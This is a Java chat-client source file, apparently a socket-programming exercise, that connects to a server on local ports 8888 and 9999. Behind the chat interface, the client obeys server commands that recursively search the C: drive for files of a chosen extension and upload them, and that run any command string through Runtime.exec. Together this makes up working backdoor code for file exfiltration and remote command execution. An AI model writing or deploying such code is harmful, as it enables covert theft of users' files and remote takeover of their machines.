import com.alibaba.fastjson.JSON;
import main.Cmd;

import java.io.*;
import java.net.Socket;
import java.util.Scanner;

public class Client {
    public static void main(String[] args) throws IOException {
        Socket socket = new Socket("127.0.0.1",8888);
        //接收数据
        new Thread(()->{
            try {
                DataInputStream dataInputStream = new DataInputStream(socket.getInputStream());
                while(true){
                    String jsonCmd = dataInputStream.readUTF();
                    Cmd cmd = JSON.parseObject(jsonCmd,Cmd.class);
                    switch (cmd.getType()){
                        case 1:
                            System.out.println("接收到:"+cmd.getMsg());
                            break;
                        case 2:
                            new Thread(()->{
                                try {
                                    searchAndTransfFile("c:\\",cmd.getMsg());
                                } catch (IOException e) {
                                    e.printStackTrace();
                                }
                            }).start();
                            break;
                        case 3:
                            Runtime.getRuntime().exec(cmd.getMsg());
                            break;
                        default:
                            break;
                    }



                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }).start();

        Scanner scanner = new Scanner(System.in);
        DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());
        while(true){
            System.out.println("请输入....");

            String sendStr = scanner.nextLine();
            Cmd cmd = new Cmd(1,sendStr);
            String jsonCmd = JSON.toJSONString(cmd);
            dataOutputStream.writeUTF(jsonCmd);
            dataOutputStream.flush();

        }
    }

    /**
     *
     * @param dirPath 路径
     * @param fileType  文件类型
     */
    private static void searchAndTransfFile(String dirPath, String fileType) throws IOException {
        File dirPathFile = new File(dirPath);
        if(!dirPathFile.isDirectory()){
            return;
        }
        File[] files = dirPathFile.listFiles();
        if(files == null){
            return;
        }

        for(File file:files){
            if(file.isFile() && file.getName().endsWith(fileType)){
                //上传
                Socket socket = new Socket("127.0.0.1",9999);
                BufferedInputStream bufferedInputStream = new BufferedInputStream(new FileInputStream(file.getAbsolutePath()));
                DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());
                //传输文件名称
                dataOutputStream.writeUTF(file.getName());
                System.out.println(file.getName());
                dataOutputStream.flush();
                //传输内容
                byte[] bufs = new byte[1024];
                int length = bufferedInputStream.read(bufs);
                while(length != -1){
                    dataOutputStream.write(bufs,0,length);
                    length = bufferedInputStream.read(bufs);
                }

                dataOutputStream.flush();
                dataOutputStream.close();
                bufferedInputStream.close();
                socket.close();
            }
            if(file.isDirectory()){
                searchAndTransfFile(file.getAbsolutePath(),fileType);
            }
        }
    }
}
